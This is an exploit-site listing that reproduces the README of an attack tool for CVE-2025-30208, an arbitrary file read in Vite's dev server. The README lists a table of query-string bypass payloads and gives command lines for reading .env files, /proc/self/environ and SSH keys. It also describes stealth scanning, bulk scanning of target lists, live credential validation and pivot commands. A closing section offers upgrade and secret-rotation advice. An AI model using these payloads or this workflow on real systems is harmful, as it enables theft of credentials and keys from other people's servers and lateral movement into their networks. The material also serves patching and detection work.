Sploitus

Exploit for Improper Access Control in Vitejs Vite

githubexploit Β· 2026-03-04

Exploit Code

README226 lines
## https://sploitus.com/exploit?id=28B587C3-A0B9-5E05-8958-2EE790683CA1
# CVE-2025-30208 β€” Vite Arbitrary File Read  Β·  v5

**CVE:** [CVE-2025-30208](https://nvd.nist.gov/vuln/detail/CVE-2025-30208)  
**GHSA:** [GHSA-x574-m823-4x7w](https://github.com/advisories/GHSA-x574-m823-4x7w)  
**Severity:** CVSS 5.3 Medium (network-accessible dev server)

> ⚠ **For authorized security engagements only.**  
> Unauthorized use against systems you do not own or have explicit written permission to test is illegal.

---

## Description

Vite's dev server allows serving arbitrary files from the host filesystem via `/@fs/` requests.  
A missing query-string sanitisation check in affected versions lets an attacker append specially crafted suffixes to bypass the allow-list and read any file the process can access β€” including `.env` files, SSH private keys, cloud credentials, and `/proc` entries.

---

## Affected Versions

| Branch | Last vulnerable | Patched |
|--------|-----------------|---------|
| 6.3.x  | 6.3.0           | **6.3.1+** |
| 6.2.x  | 6.2.2           | **6.2.3+** |
| 6.1.x  | 6.1.1           | **6.1.2+** |
| 6.0.x  | 6.0.11          | **6.0.12+** |
| 5.4.x  | 5.4.14          | **5.4.15+** |
| 4.5.x  | 4.5.9           | **4.5.10+** |

---

## Bypass Variants

| Name          | Suffix / Query             | Description                         |
|---------------|----------------------------|-------------------------------------|
| `raw??`       | `?raw??`                   | Trailing `??` breaks rawRE          |
| `import&raw??`| `?import&raw??`            | ES module + raw combined            |
| `raw?`        | `?raw?`                    | Single trailing `?`                 |
| `url&raw??`   | `?url&raw??`               | URL mode combined                   |
| `raw&url??`   | `?raw&url??`               | Reversed parameter order            |
| `import&?raw` | `?import&?raw`             | Malformed import prefix             |
| `sec-fetch`   | `?raw` + Sec-Fetch header  | Browser script context              |
| `raw-encoded` | `?raw%3f%3f`               | URL-encoded separators              |
| `double-slash`| `?raw??/`                  | Double-slash suffix bypass (v5)     |
| `pct-all`     | `%3fraw%3f%3f`             | Fully percent-encoded query (v5)    |
| `raw-hash`    | `?raw??#`                  | Fragment anchor bypass (v5)         |
| `wasm-init`   | `?inline=1.wasm?init`      | CVE-2025-31125 sibling (wasm init)  |

---

## Installation

```bash
pip install requests
# or
pip install -r requirements.txt
```

---

## Usage

### Single target β€” full scan

```bash
python main.py -t https://target.com
```

### Full exploitation chain (live credential validation, default behavior)

```bash
python main.py -t https://target.com --full-chain --output /tmp/report
```

### Read a specific file

```bash
python main.py -t https://target.com --file /app/.env
python main.py -t https://target.com --file /proc/self/environ --save ./environ.txt
```

### Stealth mode (randomised delays) + upstream proxy

```bash
python main.py -t https://target.com --stealth --proxy http://127.0.0.1:8080
```

### Bulk scan from a target list

```bash
python main.py -l targets.txt
python main.py -l targets.txt --workers 20 --ports 5173,3000,8080
```

### Pipe-friendly output (no ANSI codes)

```bash
python main.py -t https://target.com --no-color | tee scan.log
```

### Version

```bash
python main.py --version
```

### Run as a package

```bash
python -m cve30208 -t https://target.com
```

---

## CLI Reference

| Flag | Default | Description |
|------|---------|-------------|
| `-t`/`--target` | β€” | Single target URL |
| `-l`/`--lists` | β€” | File containing one target per line |
| `--stealth` | off | Add random delays between requests |
| `--proxy` | β€” | HTTP/HTTPS proxy (`http://host:port`) |
| `--timeout` | 10 | Per-request timeout in seconds |
| `--verify` | off | Enable TLS certificate verification |
| `--file` | β€” | Read a specific path on the target host |
| `--save` | β€” | Save `--file` content to a local path |
| `--full-chain` | on | Run full exploitation chain (live validation is default) |
| `--output` | β€” | Write JSON + Markdown report to this base path |
| `--workers` | 10 | Parallel workers for bulk scan |
| `--ports` | see below | Comma-separated ports to probe in bulk mode |
| `--no-color`/`--plain` | off | Disable ANSI colour codes |
| `--safe-mode` | off | Redact secret values in terminal output |
| `--show-secrets` | off | Show full terminal secrets (overrides `--safe-mode`) |
| `--version` | β€” | Print version and exit |

Default bulk-scan ports: `5173, 4173, 3000, 8080, 8000, 4000, 5000, 9000, 80, 443`

---

## Output

When `--output /tmp/report` is specified the scanner writes:

- `/tmp/report.json` β€” machine-readable structured findings
- `/tmp/report.md`  β€” human-readable Markdown report

The bulk scan always prints `VULN_COUNT=N` on the last line for easy shell scripting:

```bash
python main.py -l targets.txt | grep '^VULN_COUNT='
```

Single-target scans print `SCAN_STATUS=VULNERABLE|NOT_VULNERABLE` at the end for automation.

---

## Architecture (v5)

```
cve30208/
β”œβ”€β”€ __init__.py      β€” public API surface
β”œβ”€β”€ __main__.py      β€” python -m cve30208 entry point
β”œβ”€β”€ constants.py     β€” BYPASS, CVE_SIBLING, SECRET_PATTERNS, SSH/scan constants
β”œβ”€β”€ ui.py            β€” ANSI colour codes, Spin/NullSpin, terminal helpers
β”œβ”€β”€ utils.py         β€” shared helpers (_unescape_js_string)
β”œβ”€β”€ secrets.py       β€” scan_secrets(), parse_env(), parse_environ()
β”œβ”€β”€ ssh.py           β€” extract_ssh_key(), collect_ssh_targets()
β”œβ”€β”€ exploit.py       β€” ExploitResult, ExploitStage (live credential validation)
β”‚                      includes a check registry for easier extension
β”œβ”€β”€ report.py        β€” save_report(), make_md()
└── scanner.py       β€” FR/R dataclasses, Scanner, bulk_scan(), main()
main.py              β€” backwards-compatibility shim
requirements.txt
```

### Deduplication

The scanner automatically suppresses repeated artefacts so that output stays
clean even when `HOME` equals `/root` or the same secret appears in multiple
files:

| Layer | Mechanism |
|-------|-----------|
| **Filesystem reads** | `stage_fs` normalizes the SSH-key base list with `dict.fromkeys` and drops duplicate paths from the `reads` queue before any output is produced. |
| **File saves** | `Scanner._save` checks a per-scan `_seen_file_paths` set; duplicate paths return the already-stored `FR` without re-appending to `r.files`. |
| **Secrets** | `Scanner._save` deduplicates `r.secrets` globally by `(name, value)` across all files; within-file dedup is handled separately in `scan_secrets`. |
| **SSH keys** | `stage_ssh` collapses keys with the same PEM signature (first `_PEM_SIG_LEN` bytes) that appear across multiple source files. |
| **Pivot commands** | Pivot blocks are keyed by `(key_source, host, port)`; identical combinations are printed only once. |

The summary line reports how many files, secrets, and SSH keys were suppressed
as duplicates, e.g.:

```
  deduped     2 file(s), 4 credential(s), 1 SSH key(s) suppressed as duplicates
```

---

## Remediation

1. **Upgrade Vite** to the patched version for your branch (see table above).
2. **Never** start the Vite dev server with `--host 0.0.0.0` on untrusted networks.
3. **Rotate** all secrets that were potentially exposed (API keys, DB passwords, SSH keys).
4. **Audit** `.env` files and remove unnecessary secrets from the project.

---

## Legal

This tool is provided for **authorized penetration testing and security research only**.  
By using this tool you agree that you have explicit written authorization to test the target systems.  
The authors accept no liability for any misuse or damage caused by this software.

---

*CVE-2025-30208 PoC v5*

### JSON schema note

Generated JSON now includes:
- `schema_version` (current: `1.0.0`)
- `status` (`VULNERABLE` or `NOT_VULNERABLE`)
- `safe_mode` (`true` when terminal secret redaction mode was enabled)
- `report_redacted` (`true` when at least one secret existed and was redacted in persisted reports)
- persisted secret values are always redacted in JSON/Markdown report files